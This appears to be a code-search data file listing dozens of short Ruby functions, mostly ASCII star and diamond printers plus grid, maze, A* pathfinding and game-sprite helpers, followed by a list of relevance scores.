"def star_pattern(stars_num)\n stars_num == 1 ? '*' : \"*#{' ' * (stars_num - 2)}*\"\nend",
"def circle(n)\r\n lines = []\r\n half_grid = n / 2\r\n top_stars = half_grid.even? ? half_grid - 1 : half_grid\r\n\r\n spaces_between_stars = top_stars\r\n loop do\r\n lines << ('*' +\r\n ' ' * spaces_between_stars +\r\n '*').center(n)\r\n\r\n spaces_between_stars += 2\r\n break if spaces_between_stars == n - 2\r\n end\r\n\r\n top_bottom = ('*' * top_stars).center(n)\r\n\r\n puts top_bottom\r\n puts lines\r\n (top_stars).times do\r\n puts ('*' + ' ' * (n - 2) + '*').center(n)\r\n end\r\n puts lines.reverse\r\n puts top_bottom\r\nend",
"def print_row(grid_size, distance_from_edge)\n number_of_stars = 1 + distance_from_edge * 2\n stars = \"*\" * number_of_stars\n puts stars.center(grid_size)\nend",
"def star(num)\n return puts \"number should be odd and greater than 5\" if num.even? || num < 7\n lines = (num/2).times.with_object([]) do |idx, arr|\n arr << (['*'] * 3).join(' ' * idx).center(num)\n end\n puts lines.reverse, ('*' * num), lines\nend",
"def star(n)\n outer = 0\n inner = (n-3) / 2\n\n loop do # create top\n puts \"#{\" \" * outer}*#{\" \" * inner}*#{\" \" * inner}*#{\" \" * outer}\"\n break if inner == 0\n outer += 1\n inner -= 1\n end\n\n puts \"*\" * n\n\n loop do # create bottom\n puts \"#{\" \" * outer}*#{\" \" * inner}*#{\" \" * inner}*#{\" \" * outer}\"\n break if outer == 0\n outer -= 1\n inner += 1\n end\n puts \"\"\nend",
"def print_row(grid_size, distance_from_center)\n number_of_stars = grid_size - 2 * distance_from_center\n stars = '*' * number_of_stars\n puts stars.center(grid_size)\nend",
"def star(num)\n star_number = 3\n star = '*'\n space = ' '\n counter = (num - star_number) / 2\n iterations = num / 2\n\n # upper triangle\n iterations.times do |i|\n line = \"#{space * i}#{star}#{space * counter}#{star}#{space * counter}#{star}\"\n puts line\n counter -= 1\n end\n\n # mid\n puts star * num\n\n # lower triangle\n counter = (num - star_number) / 2\n iterations.times do |i|\n line = \"#{space * counter}#{star}#{space * i}#{star}#{space * i}#{star}\"\n puts line\n counter -= 1\n end\nend",
"def render_star\n outputs.sprites << scale_up(grid.star).merge({ path: 'star.png' })\n end",
"def startpos(nr)\n case @art\n when 0:\n case nr\n when 0:\n return @x/4,@y/2,0\n when 1:\n return 3*@x/4,@y/2,2\n when 2:\n return @x/2,@y/4,1\n when 3:\n return @x/2,3*@y/4,3\n else\n raise \"Für dieses Feld sind nur 4 Positionen definiert!\"\n end\n else\n raise \"Art #{art} ist noch nicht definiert!\"\n end\n end",
"def diamond(num)\n stars = 1\n \n num.times do |iteration|\n puts ('*' * stars).center(num)\n iteration < num / 2 ? stars += 2 : stars -= 2\n end\nend",
"def _get_square_starting_points()\n square_starting_points = []\n row_index = 0\n column_index = 0\n 3.times do\n 3.times do\n square_starting_points << [row_index, column_index]\n column_index += 3\n end\n row_index += 3\n column_index = 0\n end\n square_starting_points\n end",
"def create_starting_positions\n\t\t[Point.new(BOARD_WIDTH/4, BOARD_HEIGHT/4),\n \t\tPoint.new(3 * BOARD_WIDTH/4, 3 * BOARD_HEIGHT/4),\n\t\tPoint.new(3 * BOARD_WIDTH/4, BOARD_HEIGHT/4),\n\t\tPoint.new(BOARD_WIDTH/4, 3 * BOARD_HEIGHT/4)]\n\tend",
"def star\n end",
"def star; end",
"def render_star\n outputs.sprites << scale_up(state.star).merge({path: 'star.png'})\n outputs.sprites << move_and_scale_up(state.star).merge({path: 'star.png'})\n end",
"def update_starfield\n\n # We should always have roughly the same star density, but let's not\n # spawn them *all* at ones\n if @stars.length < 250\n\n # So, spawn up to a few of them\n 10.randomize(:ratio).to_i.times do\n @stars << {\n x: @args.grid.center_x, y: @args.grid.center_y,\n dx: 5.randomize(:ratio, :sign), dy: 5.randomize(:ratio, :sign),\n age: 0, show: 25.randomize(:ratio),\n r: 100 + 155.randomize(:ratio), g: 100 + 155.randomize(:ratio), b: 100 + 155.randomize(:ratio)\n }\n end\n\n end\n\n # And then work through all stars applying the delta\n @stars.each do |star|\n star[:x] += star[:dx]\n star[:y] += star[:dy]\n end\n\n # And prune any that fall off the screen\n @stars.delete_if do |star|\n star[:x].negative? || star[:x] > @args.grid.w || star[:y].negative? || star[:y] > @args.grid.h\n end\n\n end",
"def diamond(size)\n stars = []\n 1.step(size, 2) { |count| stars << '*' * count }\n stars << stars.reverse[1..-1]\n\n size.times do |idx|\n puts \"#{stars.flatten[idx]}\".center(size)\n end\nend",
"def generate()\n\t\t# first generate at least one star\n\t\t\n\t\tcx = centerX\n\t\tcy = centerY\n\t\tstarPos = randomLocation(cx, cy, SolarSystemRadius)\n\t\tstar = generateNewCelestialBody(starPos[0], starPos[1], 'star')\n\t\t\n\t\t# possibly another star\n\t\tif rand < ProbabilitySecondStar\n\t\t\tstarPos2 = randomDistantPosition\n\t\t\tstar2 = generateNewCelestialBody(starPos2[0], starPos2[1], 'star')\n\t\tend\n\t\t\n\t\tnumPlanets = Random.rand(MedianNumPlanets-NumPlanetsVariation...MedianNumPlanets+NumPlanetsVariation)\n\t\tnumPlanets.times do\n\t\t\tplanetPos = randomDistantPosition\n\t\t\tplanet = generateNewCelestialBody(planetPos[0], planetPos[1], 'planet')\n\t\tend\n\tend",
"def populate\n spots = @spaces.length**2\n asteroids = (spots * 0.3).round\n gravity_wells = (spots * 0.1).round\n empty_space = (spots * 0.6 ).round\n\n asteroids.times {fill_spot('A')}\n gravity_wells.times {fill_spot('G')}\n #Because we fill two empty space with start, end marks\n empty_space.times {fill_spot('.')}\n end",
"def print_stars(num, width)\n stars = '*' + '*' * (num - 1) * 2\n puts \"#{stars}\".center(width)\nend",
"def how_many_stars(size, line_count, stars)\n case\n when line_count == 1\n stars\n when line_count <= size / 2 + 1\n stars + '**'\n else\n stars[0..-3]\n end\nend",
"def draw_horizontal_stars(line, start_char, end_char)\n start_char.upto(end_char) { |char_idx| @lines[line][char_idx] = STAR_CHAR }\n end",
"def astar(maze, start, last)\n\n #Cria node inicial\n start_node = Node.new(parent = nil, position = start)\n\n start_node.g = 0\n start_node.h = 0\n start_node.f = 0\n\n #Cria node final\n end_node = Node.new(parent =nil, position =last)\n\n end_node.g = 0\n end_node.h = 0\n end_node.f = 0\n\n #Inicializa lista de nodes visitados\n open_list = []\n\n #inicializa lista closed\n closed_list = []\n\n # Adiciona o node inicial na open list\n open_list.push(start_node)\n\n #Loop enquando nao encontra no final\n while open_list.length > 0\n\n #Pega node sendo analizado no momento, tem que ser o node com o menor f\n current_node = open_list[0]\n current_index = 0\n\n open_list.each_with_index do |item, index|\n if item.f < current_node.f\n current_node = item\n current_index = index\n end\n end\n\n #Retira node analizado no momento da open list\n open_list.delete_at(current_index)\n #Retira node analizado no momento da closed list\n closed_list.push(current_node)\n\n #Verifica se encontrou o no final\n if current_node.position == end_node.position\n path = []\n current = current_node\n\n while current != nil\n path.push(current.position)\n current = current.parent\n end\n\n return path.reverse\n\n end\n\n #Gera os vizinhos do node atual\n children = []\n\n [[0, -1], [0, 1], [-1, 0], [1, 0]].each { |new_position|\n #percorre uma coluna OU uma linha por vez\n node_position = [current_node.position[0] + new_position[0], current_node.position[1] + new_position[1]]\n\n #verifica se o vizinho nao ultrapassa a borda da matriz\n if node_position[0] > (maze.length - 1) || node_position[0] < 0 || node_position[1] > (maze[maze.length - 1].length - 1) || node_position[1] < 0\n next\n end\n\n #verifica se o vizinho se encontra na rua\n if maze[node_position[0]][node_position[1]] != 0\n next\n end\n\n\n new_node = Node.new(current_node, node_position)\n children.push(new_node)\n\n }\n\n #Loop entre os vizinhos\n children.each { |child|\n #Verifica se o vizinho esta na closed list\n closed_list.each { |closed_child|\n if child.position == closed_child.position\n next\n end\n }\n\n #Cria os valores f, g e h para a funcao f = g + h, sendo h a heuristica\n child.g = current_node.g + 1\n child.h = ((child.position[0] - end_node.position[0]) ** 2) + ((child.position[1] - end_node.position[1]) ** 2)\n child.f = child.g + child.h\n\n #Se o vizinho ja esta na open list\n open_list.each { |open_node|\n if child.position == open_node.position && child.g > open_node.g\n next\n end\n }\n\n #Adiciona o vizinho na open list\n open_list.push(child)\n }\n\n end\n\nend",
"def generate\n # Vælg et tilfældigt koordinat til at starte med.\n random_start = [@prng.rand(@width),@prng.rand(@height)]\n \n # Opret en stak og læg det tilfældige koordinat på stakken.\n stack = Array.new\n stack.push random_start\n until stack.empty?\n # Tag koordinaterne fra det øverste element på stakken.\n x,y = stack.last\n # Marker cellen som besøgt.\n @grid[y][x].visited = true\n # Gem alle cellens nabo-celler.\n neighbors = Array.new\n neighbors.push [x, y-1] unless y-1 < 0 # Nord\n neighbors.push [x+1, y] unless x+1 >= @width # Øst\n neighbors.push [x, y+1] unless y+1 >= @height # Syd\n neighbors.push [x-1, y] unless x-1 < 0 # Vest\n # Sorter de naboer fra der allerede er blevet besøgt af algoritmen.\n neighbors.delete_if {|x, y| @grid[y][x].visited }\n # tjek om der er nogle ubesøgte naboer.\n if neighbors.any?\n # Vælg en tilfældig ubesøgt nabo.\n random_neighbor = neighbors.sample(random:@prng)\n # Forbind denne celle med den tilfældige nabo.\n connect stack.last, random_neighbor\n # Læg den tilfældige nabo øverst på stakken.\n stack.push random_neighbor\n else\n # Hvis der ingen naboer er, så tager den en celle af stakken.\n stack.pop\n end\n end\n end",
"def draw_star(blank, stars, b)\n case b\n when true\n \" \" + \" \" * blank + \"\\033[32mF\\033[0m\" * stars + \"\\n\"\n when false\n \" \" + \" \" * blank + \"\\033[31m*\\033[0m\" * stars + \"\\n\";\n end\nend",
"def buildStars stars\n toReturn =\"\"\n #some repos with aton of stars need resized\n resize = \"1 star = 1 stargazer\"\n if stars > 1000\n resize = \"1 star = 100 stargazers\"\n stars /= 100\n else\n if stars > 500\n resize = \"1 star = 10 stargazers\"\n stars /= 10\n else\n if stars > 100\n resize = \"1 star = 5 stargazers\"\n stars /= 5\n end\n end\n end\n for i in 0..stars-1\n if i % 5 == 4 #insert a space every five\n toReturn += \"<i class=\\\"fa fa-star\\\">  </i>\"\n else\n toReturn += \"<i class=\\\"fa fa-star\\\"></i>\"\n end\n end\n toReturn += \"<p>\" + resize + \"</p>\"\n toReturn.html_safe\n return toReturn\n end",
"def three_star_line(inner_spaces, total_width)\n inner_stars = \"*\" + \" \"*inner_spaces + \"*\" + \" \"*inner_spaces + \"*\"\n inner_stars.center(total_width)\nend",
"def star(pattern, that, topic, type, index)\n input = pattern.to_s.upcase\n input = input.gsub(/(?=\\S)(\\W)/, \" \").squeeze(\" \").strip\n\n # Normalize 'that' \n formatted_that = that.to_s.upcase\n formatted_that = formatted_that.gsub(/(?=\\S)(\\W)/, \" \").squeeze(\" \").strip\n\n # Normalize 'topic'\n formatted_topic = topic.to_s.upcase\n formatted_topic = formatted_topic.gsub(/(?=\\S)(\\W)/, \" \").squeeze(\" \").strip\n\n match, template = recursive_match input.split(\" \"), formatted_that.split(\" \"), formatted_topic.split(\" \"), @nodemap\n\n return \"\" if template == nil\n\n\n # Find appropriate pattern based on the star type.\n words = nil\n if type == 'star'\n #match = match[0..match.index(THAT)]\n words = input.split(\" \")\n \n elsif type == 'thatstar'\n match = match[(match.index(THAT)+1)..match.index(STAR)]\n words = that.split(\" \")\n \n elsif type == 'topicstar'\n match = match[(match.index(TOPIC)+1)..-1]\n words = topic.split(\" \")\n \n else\n raise \"Star Type must be in ['star', 'thatstar', 'topicstar']\"\n end\n \n # compare the input string to the matched pattern, word by word.\n # At the end of this loop, if found_star is true, start and\n # end will contain the start and end indices (in \"words\") of\n # the substring that the desired star matched.\n \n found_star = false\n start = last = j = num_stars = k = 0\n \n for i in (0...words.count)\n # This condition is true after processing a star\n # that ISN'T the one we're looking for.\n next if i < k\n\n # If we're reached the end of the pattern, we're done.\n break if j == match.count\n\n if not found_star\n if [STAR, UNDERSCORE].include?(match[j]) #we got a star\n num_stars += 1\n \n # This is the star we care about.\n found_star = true if num_stars == index\n \n # Iterate through the rest of the string.\n start = i\n for k in (i...words.count)\n # If the star is at the end of the pattern,\n # we know exactly where it ends.\n if j+1 == match.count\n last = words.count\n break\n end\n # If the words have started matching the\n # pattern again, the star has ended.\n if match[j+1] == words[k]\n last = k - 1\n i = k\n break\n end\n end\n end\n # If we just finished processing the star we cared\n # about, we exit the loop early.\n break if found_star\n end\n # Move to the next element of the pattern.\n j += 1\n end\n \n # extract the star words from the original, unmutilated input.\n if found_star\n if type == 'star'\n response = pattern.split(\" \")\n response = response[start..last]\n return response.join(\" \")\n \n elsif type == 'thatstar'\n response = that.split(\" \")\n response = response[start..last]\n return response.join(\" \")\n\n elsif type == 'topicstar'\n response = topic.split(\" \")\n response = response[start..last]\n return response.join(\" \")\n end\n else \n return \"\"\n end\n end",
"def diamond(integer)\n spaces = (1..integer).step(2).to_a\n space_line = spaces.reverse\n spaces.shift\n space_line += spaces\n space_line.map! {|num| num / 2}\n\n stars = (1..integer).step(2).to_a\n star_line = stars.reverse\n star_line.shift\n star_line = stars + star_line\n\n counter = 0\n star_line.each do |element|\n line = (\"*\" * element)\n spaces = line.length + space_line[counter]\n full_line = line.rjust(spaces) + (\" \" * space_line[counter])\n puts full_line\n counter += 1\n end\nend",
"def gen_star(package_map)\n text = \"//#{package_map[\"name\"]}\nvar #{package_map[\"indexed_name\"]} = new Celestial({\n name: \\\"#{package_map[\"indexed_name\"]}\\\",\n geometry: new THREE.SphereGeometry(#{package_map[\"radius\"]+0.01}, 12, 12),\n material: new THREE.MeshBasicMaterial({color: 0xffdd22, map: star_texture}),\n light: new THREE.PointLight( 0xffddbb, 1, 0 ),\n rotx: 0.01, \n roty: 0.01, \n rotz: 0.01});\ncelestials[celestials.length] = #{package_map[\"indexed_name\"]};\\n\\n\"\n return text\nend",
"def star(x, y, r1, r2, points, options={})\n cur_page.star(x, y, r1, r2, points, options)\n end",
"def diamond(i) # I hope I didn't name my variables\n spaces_toggle = -1 # the same as the instruction\n spaces = i/2 # This is MY algorithm !\n bling_toggle = 1\n bling = 1\n (i).times do\n spaces.times {print \" \"} \n bling.times {print \"*\"}\n spaces.times {print \" \"} \n print \"\\n\"\n spaces += 1 * spaces_toggle\n bling += 2 * bling_toggle\n if bling == i # Center of function\n bling.times {print \"*\"}\n print \"\\n\"\n spaces += 1\n bling -= 2\n spaces_toggle = 1\n bling_toggle = -1\n end\n end\nend",
"def paint_world3\r\n show_sun\r\n\tputs ''\r\n count = 0\r\n\tx_count = 0\r\n\th_count = 0\r\n @height.times do\r\n @width.times do\r\n #print @positions[count].symbol\r\n\t\tif @positions[count].temperature > -10 && @positions[count].temperature < 60\r\n\t\t print \"h\" \r\n\t\t h_count += 1\r\n\t\telse\r\n\t\t print \"x\" \r\n\t\t x_count += 1\r\n\t\tend\r\n #@positions[count].fneighbours = []\r\n\t\t#@positions[count].sneighbours = []\r\n count += 1\r\n end\r\n puts ''\r\n end\r\n puts '------------'\r\n\t[h_count,x_count]\r\n end",
"def diamond(n)\n blanks = ' ' * ((n - 1) / 2)\n stars = '*'\n \n loop do\n puts blanks + stars\n break if blanks == ''\n stars << '**'\n blanks.slice!(0)\n end\n \n loop do\n break if stars == '*'\n stars.slice!(0..1)\n blanks << ' '\n puts blanks + stars\n end\n \nend",
"def paint_world\r\n show_sun\r\n\tputs ''\r\n count = 0\r\n @height.times do\r\n @width.times do\r\n print @positions[count].symbol\r\n count += 1\r\n end\r\n puts ''\r\n end\r\n puts '------------'\r\n end",
"def starting_position\n if n.even?\n Position.new(0,0)\n else\n Position.new(square_root - 1, square_root - 1)\n end\n end",
"def gen_coordinates\n [@gen_x, @gen_y] if generator?\n end",
"def position(y, x)\n [START[0] + (y * SPACING[0]),\n START[1] + (x * SPACING[1])]\n end",
"def draw_vertical_stars(start_hash_line, end_hash_line, start_hash_char)\n start_hash_line.upto(end_hash_line) do |line_idx|\n @lines[line_idx][start_hash_char] = STAR_CHAR\n end\n end",
"def diamond(number)\n \n empty_space = \" \" \n star = \"*\"\n \n counter_star = 1 \n counter_space = number/2\n until counter_star == number \n puts \"#{empty_space * counter_space}\" + \"#{star * counter_star}\"\n counter_star += 2\n counter_space -= 1 \n end\n \n \n while counter_star >= 1\n puts \"#{empty_space * counter_space}\" + \"#{star * counter_star}\"\n counter_star -= 2\n counter_space += 1\n end\n \nend",
"def triangle(num)\n star_count = 0\n while star_count < num\n star_count += 1\n stars = \"*\" * star_count\n puts stars.rjust(num)\n end\nend",
"def make_outline_row(width, stars)\n if stars == 1\n \"*\".center(width)\n else\n (\"*\" + (\" \" * (stars - 2)) + \"*\").center(width)\n end\nend",
"def star(*args, &blk)\n opts = normalize_style pop_style(args)\n case args.length\n when 2\n left, top = args\n points, outer, inner = 10, 100.0, 50.0\n when 5\n left, top, points, outer, inner = args\n else\n message = <<EOS\nWrong number of arguments. Must be one of:\n - star(left, top, [opts])\n - star(left, top, points, outer, inner, [opts])\nEOS\n raise ArgumentError, message\n end\n Shoes::Star.new(app, left, top, points, outer, inner, opts, &blk)\n end",
"def paint_world4\r\n show_sun2\r\n\[email protected](\"\") # puts ''\r\n count = 0\r\n @height.times do\r\n @width.times do\r\n @logger.pwrite(\"#{@positions[count].symbol}\") # print @positions[count].symbol\r\n count += 1\r\n end\r\n @logger.write(\"\") # puts ''\r\n end\r\n @logger.write(\"\") # puts '------------'\r\n end",
"def triangle(num)\n stars = []\n spaces = ''\n number_of_stars = (3..num).to_a.reverse\n current_num = num\n\n loop do\n spaces += ' '\n stars << spaces + (\"*\" * current_num)\n break if current_num == 1\n current_num -= 2\n end\n\n stars.reverse\nend",
"def generate!\n pgn = pgn_parser.parse(game.pgn).first\n\n positions = pgn.positions[1..-1]\n\n positions.each_with_index.inject(1) do |move_number, (position, index)|\n\n if index % 2 == 1\n list[\"#{move_number}\"].push(position.to_fen.to_s)\n move_number +=1\n elsif index % 2 == 0 #even\n list[\"#{move_number}\"] = [position.to_fen.to_s]\n end\n\n move_number\n end\n\n list\n end",
"def position_hash(stars)\n position_hash = {}\n stars.each { |star| position_hash[star.id] = star.position if star.visible}\n return position_hash\n end",
"def diamond(size)\n stars = 1\n # top half\n loop do\n ((size/2 + 1) - stars).times { print \" \" }\n (stars*2 - 1).times { print \"*\" }\n puts \"\"\n break if stars >= size/2\n stars += 1\n end\n return if size == 1\n # middle\n size.times { print \"*\" }\n puts \"\"\n # bottom half\n loop do\n ((size/2 + 1) - stars).times { print \" \" }\n (stars*2 - 1).times { print \"*\" }\n puts \"\"\n break if stars == 1\n stars -= 1\n end\nend",
"def make_augmenting_path!()\n # Construct alternating paths\n complete = false\n count = 0\n \n while !complete\n row = @annotated_matrix.find_in_col(@image[count], STARRED).first\n \n if row\n count += 1\n @preimage[count] = row\n @image[count] = @image[count-1]\n else\n complete = true\n end\n\n if !complete\n col = @annotated_matrix.find_in_row(@preimage[count], PRIMED).first\n count += 1\n @preimage[count] = @preimage[count-1]\n @image[count] = col\n end\n end\n\n # Modify the paths\n (count+1).times {|i|\n row = @preimage[i]\n col = @image[i]\n \n if starred?(row, col)\n unstar!(row, col)\n else\n star!(row, col)\n end\n }\n clear_covers!()\n clear_primes!()\n return 3\n end",
"def generate_shape(n)\n p (\"+\" * n + \"\\n\") * (n - 1) + \"+\" * n\nend",
"def towerBuilder(n)\n (0...n).map do |i|\n space = ' ' * (n - i)\n stars = '*' * (i * 2 + 1)\n space + stars + space\n end\nend",
"def create_end_stars\n @end_stars_anim = End_Stars_Animation.new(@viewport)\n end",
"def line_of_30_stars\n puts \"* \" * 30\n end",
"def gen(x, y)\n return 384 + x + (y * 8)\n end",
"def generate_coords\n coords = [0,0]\n coords[0] = rand(9)\n coords[1] = rand(9)\n coords\n end",
"def stars count\n\t\t\t\tstr = ''\n\t\t\t\tcount.times do\n\t\t\t\t\tstr += \"*\"\n\t\t\t\tend\n\t\t\t\tstr\n\t\t\tend",
"def input_star\n old_star = grid.star.clone\n grid.star = cell_closest_to_mouse\n unless old_star == grid.star\n reset_search\n end\n end",
"def diamond(length)\n diamonds = (1..length).select { |num| num.odd? }\n shape_array = []\n spaces = length / 2\n length.times do |num|\n index = length / 2 - spaces.abs\n shape_array << \"#{' ' * spaces.abs}#{'*' * diamonds[index]}\"\n spaces -= 1\n end\n shape_array\nend",
"def tl_triangle(n)\n stars = n\n n.times do\n puts '*' * stars\n stars -= 1\n end\nend",
"def place_random_ships\n ship_count = size / 4\n while ship_count.positive?\n row = rand(@grid.size)\n col = rand(@grid.size)\n if self[[row, col]] == :N\n self[[row, col]] = :S\n ship_count -= 1\n end\n end\n end",
"def generate\n carve maze.cell_at(0,0)\n maze\n end",
"def aStar(tx = @player.x/@TILESIZE, ty = @player.y/@TILESIZE, x = @x/@TILESIZE, y = @y/@TILESIZE)\n #exit conditions\n if tx > @map.WIDTH or ty > @map.HEIGHT or tx < 0 or ty < 0\n return Node.new(x, y, nil, 0)\n end\n start = Time.now\n evald = Array.new #nodes that have already been evaluated\n queue = [Node.new(x, y, 0)]#the last element is the g value\n until queue.empty?\n #queue.each{ |q| print q.toArray, \"...\"}\n #print \"\\n\" #for debugging\n current = queue[0]#finds the node in queue with the lowest f value\n queue.each do |q|\n current = q if q.f(tx, ty) < current.f(tx, ty)\n end\n evald.push(current)#move current from 'queue' to 'evald'\n queue.delete(current)\n #direction from the second node aka the one after the one the ghost is at\n if current.x == tx and current.y == ty\n current.trim\n return current\n #print \"the ghost is confused\\n\" # for debugging\n end\n @map.getSurrounding(current.x, current.y, false).each{ |n|\n node = Node.toNode(n)\n node.g= current.g + 1\n node.parent= current\n nodeInEvald = false\n evald.each{ |evNode|\n if(evNode.coords == node.coords)\n if(evNode.g > node.g)\n evNode.g = node.g\n evvNode.dir = node.dir\n end\n nodeInEvald = true\n break\n end\n }\n if !nodeInEvald\n queue.push(node) \n end\n }\n #just gives up if it's been trying to find a path for more than 5 seconds\n if Time.now - start > 5\n current.trim\n current.timeOut = true;\n return current\n end\n end\n nil\n end",
"def move_to_next_generation\n @x.times{ |r|\n @y.times{|c| \n @mat[r][c].step_generation\n }\n } \n end",
"def start_coords\n marker_coords('S')\n end",
"def next_position\n return unless placed?\n axis = case direction\n when 'east', 'west'; :x\n when 'north', 'south'; :y\n end\n amount = case direction\n when 'north', 'east'; +1\n when 'south', 'west'; -1\n end\n [@x + (axis == :x ? amount : 0), @y + (axis == :y ? amount : 0)]\n end",
"def pos() end",
"def pos() end",
"def pos() end",
"def pos() end",
"def spread(pixel, distance)\n xforms = [{:pri => 'x', :sec => 'y', :mod => '-'},\n {:pri => 'x', :sec => 'y', :mod => '+'},\n {:pri => 'y', :sec => 'x', :mod => '-'},\n {:pri => 'y', :sec => 'x', :mod => '+'}]\n\n xforms.each do |xform|\n distance.times do |i|\n if xform[:pri] == 'y'\n pcoords = { :y => pixel[:y] + \"#{xform[:mod]}#{i + 1}\".to_i,\n :x => pixel[:x] }\n else\n pcoords = { :x => pixel[:x] + \"#{xform[:mod]}#{i + 1}\".to_i,\n :y => pixel[:y] }\n end\n set_to_one(pcoords)\n (distance - (i + 1)).times do |j|\n ['+', '-'].each do |sign|\n if xform[:sec] == 'y'\n scoords = { :y => pcoords[:y] + \"#{sign}#{j + 1}\".to_i,\n :x => pcoords[:x] }\n else\n scoords = { :x => pcoords[:x] + \"#{sign}#{j + 1}\".to_i,\n :y => pcoords[:y] }\n end\n set_to_one(scoords)\n end\n end\n end\n end\n end",
"def diamond(n, style = :solid)\n top_half = top_half(n, style)\n center = if style == :solid || n == 1\n ['*' * n]\n elsif style == :hollow\n ['*' + ' ' * (n - 2) + '*']\n else\n return puts 'Invalid style. Please enter :solid or :hollow'\n end\n bottom_half = top_half.reverse\n diamond_array = top_half + center + bottom_half\n puts diamond_array\nend",
"def stars\n puts \"*\" * 99\nend",
"def initpos_2\n return [0,0]\n end",
"def redesign()\n\t\tr_maze= maze {|r,c| r_maze[r][c].to_i}\n\t\t(1..row-2).each {|r| (1..col-2).each {|c| r_maze[r][c] = Random.rand(2).to_s}}\n\t\treturn r_maze\n\tend",
"def diamond(num)\n spaces = (num - 1) / 2\n stars = 1\n\n loop do\n puts \" \"*spaces + \"*\"*stars + \" \"*spaces\n break if stars == num\n spaces -= 1\n stars += 2\n end\n\n unless stars == 1\n loop do\n stars -= 2\n spaces += 1\n puts \" \"*spaces + \"*\"*stars + \" \"*spaces\n break if stars == 1\n end\n end\nend",
"def navidad(n)\n result = \"\"\n n.times do |ind| \n i = ind + 1 \n (n-i).times do \n result += \" \"\n end\n i.times do\n result += \"* \" \n end\n result += \"\\n\" \n end\n \n 3.times do |i|\n if i != 2\n n.times do |b|\n if (n+1)/2 == b+1\n result += \"* \"\n else\n result += \" \"\n end \n end\n result += \"\\n\"\n else\n n.times do |b| \n if ((n+1)/2)-2 == b || ((n+1)/2)-1 == b || (n+1)/2 == b\n result += \"* \"\n else\n result += \" \"\n end \n end\n end\n end \n result\nend",
"def initpos_1\n return [0,0]\n end",
"def position_generator(pos1, pos2, length)\n # generate a position away from earth and moon\n position = rand(1..length - 1)\n if pos1.include? position or pos2.include? position\n position = position_generator(pos1, pos2, length)\n end\n return position\nend",
"def create_shape\n id = rand 7\n @cur_y = 0\n @cur_x = 5\n @shape = SHAPES[id].dup\n end",
"def generate_paths_for(offsets, piece, game)\n board = game.board\n pieces = game.pieces\n moves = {}\n offsets.each do |offset|\n i = 1\n last_tile = piece.position\n # max length of a path in any direction is 7\n 7.times do |n|\n next_tile ||= \"\"\n adjusted_offset = offset * i \n coords = offsets_to_coordinates([adjusted_offset], piece, game)\n next_tile = coords unless coords.nil?\n move = { next_tile => [] }\n case \n when wrapped?(next_tile, last_tile)\n break\n when chess_board.is_piece?(next_tile, game)\n if next_tile != \"\" && chess_board.is_enemy?(next_tile, piece.color, game) \n moves.merge!( move ) \n break\n else\n break\n end\n else\n moves.merge!( move ) unless next_tile == \"\"\n end\n i += 1\n last_tile = next_tile\n end\n end\n moves\n end",
"def generate_occupied_points(a_size, a_origin, a_direction)\n\toccupied = [a_origin]\t\n\tneighbor = a_origin\n\t(a_size - 1).times do \n\t\tneighbor = neighbor.next_at(a_direction)\n \t\toccupied = occupied + [neighbor]\n\tend\t\n\tset_occupied_points(occupied) \n end",
"def coordinates\n [rand(50), rand(90)]\n end",
"def diamond(num)\n count = 1\n stars = 1\n spaces = 1\n \n loop do\n \n puts (' ' * (num - spaces)) + ('*' * stars)\n break if count == num\n \n if count <= (num / 2)\n stars += 2\n spaces +=1\n else\n stars -= 2\n spaces -= 1\n end\n \n count += 1\n end\nend",
"def sun_locations(loc)\r\n range = (@width / 4) - 1\r\n loc1 = loc - range\r\n\tloc2 = loc + range\r\n\tloc1 = (@width + loc1) if loc1 < 1\r\n\tloc2 = loc2 - @width if loc2 > @width\r\n #puts \"\"\r\n\t#puts loc1\r\n\t#puts loc\r\n\t#puts loc2\r\n\t\r\n\t#t = [loc1,loc2]\r\n\t\r\n\tss = []\r\n\tif loc1 < @sun_location\r\n\t [*loc1...(@sun_location)].each do |k|\r\n\t ss << k\r\n\t end\r\n\telsif (@sun_location+1) < loc1\r\n\t [*loc1..@width].each do |k|\r\n\t ss << k\r\n\t end\r\n\t [*1..(@sun_location-1)].each do |k|\r\n\t ss << k\r\n\t end\r\n\tend\r\n\t\r\n\tif @sun_location < loc2\r\n\t [*(@sun_location+1)..loc2].each do |k|\r\n\t ss << k\r\n\t end\r\n\telsif loc2 < @sun_location\r\n\t [*1..loc2].each do |k|\r\n\t ss << k\r\n\t end\r\n\t [*(@sun_location+1)..@width].each do |k|\r\n\t ss << k\r\n\t end\r\n\tend\r\n\t#puts ss\r\n\tss\r\n end",
"def firm_star star\n star.to_i == 0 ? 0 : 15 * star.to_i\n end",
"def new_coords(x,y)\n [x % GRID_WIDTH, y % GRID_HEIGHT]\n end",
"def row(num_space, num_star)\n space = ' ' * num_space\n star = '*' * num_star\n arr = [space, star, space]\n puts arr.join\nend",
"def set_coordinates\n [rand(-100..100), rand(-100..100)]\n end",
"def input_star\n old_star = state.star.clone\n unless cell_closest_to_mouse == state.target\n state.star = cell_closest_to_mouse\n end\n unless old_star == state.star\n reset_search\n end\n end",
"def shape_in_pos(pos)\n @all_rotations[pos[2]].map do |point|\n plus(point, pos)\n end\n end",
"def generate_successors\n @successors =\n [Move.new(x + 2, y + 1, self)] +\n [Move.new(x + 2, y - 1, self)] +\n [Move.new(x - 2, y + 1, self)] +\n [Move.new(x - 2, y - 1, self)] +\n [Move.new(x + 1, y + 2, self)] +\n [Move.new(x + 1, y - 2, self)] +\n [Move.new(x - 1, y + 2, self)] +\n [Move.new(x - 1, y - 2, self)]\n successors_copy = []\n @successors.each do |successor|\n successors_copy += [successor] if (0..7) === successor.x && (0..7) === successor.y\n end\n @successors = successors_copy\n end"
] |
[
"0.69012856",
"0.6889118",
"0.6823611",
"0.67636883",
"0.65913445",
"0.6532417",
"0.64998204",
"0.6467288",
"0.6417213",
"0.639329",
"0.6385404",
"0.6368003",
"0.6348545",
"0.62200433",
"0.6206389",
"0.61892885",
"0.6136747",
"0.61285394",
"0.61281395",
"0.61092156",
"0.6066731",
"0.60532635",
"0.6007757",
"0.59987843",
"0.5973836",
"0.59550196",
"0.59483194",
"0.5884464",
"0.58554554",
"0.584126",
"0.58377284",
"0.5816111",
"0.581446",
"0.5805893",
"0.57968736",
"0.57685673",
"0.57674074",
"0.5754754",
"0.5753621",
"0.57440525",
"0.5713711",
"0.5703336",
"0.5657435",
"0.5643232",
"0.5602596",
"0.5598877",
"0.557202",
"0.5568855",
"0.55674803",
"0.55635023",
"0.55630445",
"0.55555534",
"0.5549043",
"0.5544051",
"0.5538757",
"0.55286646",
"0.55281997",
"0.5519588",
"0.55161107",
"0.5507962",
